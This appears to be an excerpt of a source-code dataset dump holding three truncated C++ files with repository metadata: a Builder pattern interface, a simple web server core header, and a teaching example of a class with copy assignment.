121306473f55abb2552f260526f24173212be31e | 1dff15d03dc15a143cb387ccbcf9c570d73ec8c9 | /BuilderPattern/IBuilder.h | 832fc1a228b3fc1c61fadb0335b49a82a7481edf | [] | no_license | AllenWang0217/DesignPatterns | 6fe7c672b076f89782879c5c601c8e49859fa3c0 | c1f6e0c16c0b4e7e2218b331e59da195c15081da | refs/heads/master | 2022-09-22T23:38:26.692532 | 2020-06-03T15:02:33 | 2020-06-03T15:02:33 | 105,889,091 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 327 | h | IBuilder.h | #pragma once
#include "Product.h"
class IBuilder
{
public:
IBuilder() {};
virtual ~IBuilder() {};
virtual void buildPartA() = 0;
virtual void buildPartB() = 0;
virtual void buildPartC() = 0;
void showPruduct() { product.display(); }
Product* getProduct() { return &product; };
protected:
Product produ... |
2c72a8a05f63872276b3f64d391b9b1151e3a879 | c39d5ef683fee5d0dc06322e994eeb2358ee0985 | /CIS457/swerv/include/swerv/core.h | d7993b256f245d7ec34abcbd3585077124b5f8f9 | [] | no_license | Trungvuong/cs | df2aa684cb88e5466fc70a189c6847ad7b491060 | 6d06b0b0aafdf65623515ae0c5c2baaecba7a18e | refs/heads/master | 2020-04-09T03:02:44.881625 | 2018-11-30T21:58:55 | 2018-11-30T21:58:55 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,493 | h | core.h | #pragma once
#include <string>
namespace swerver {
class Core {
public:
enum ContentType {
text,
html,
jpeg,
pdf
};
Core() = default;
~Core() = default;
int Run(int argc, char** argv);
struct thread {
int socket;
// To access... |
f7ed6d420e9e7cb871ca5be0621aa47c0cb888fb | 747b983e59b1655df0523d0f9339d67d8308b0d5 | /20180725/teach_code_refer/src/operator=Computer.cc | 664d17b9c2cd87d04ef42062bda58af2e3fd6d04 | [] | no_license | Crazywhat/cpp_learning | 7ee8c320b0d6252fffdbcf62de994b8669842fc3 | 0533c473d9410df15eaeb6ee46ae5bdc2d84c2a0 | refs/heads/master | 2020-03-23T19:19:05.192840 | 2018-08-16T15:49:49 | 2018-08-16T15:49:49 | 141,968,574 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,137 | cc | operator=Computer.cc | ///
/// @file Computer3.cc
/// @author lemon(haohb13@gmail.com)
/// @date 2018-07-25 15:22:48
///
#include <string.h>
#include <iostream>
using std::cout;
using std::endl;
class Computer
{
public:
Computer(const char * brand, float price)
: _brand(new char[strlen(brand) + 1]())
, _price(price)
{
c... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.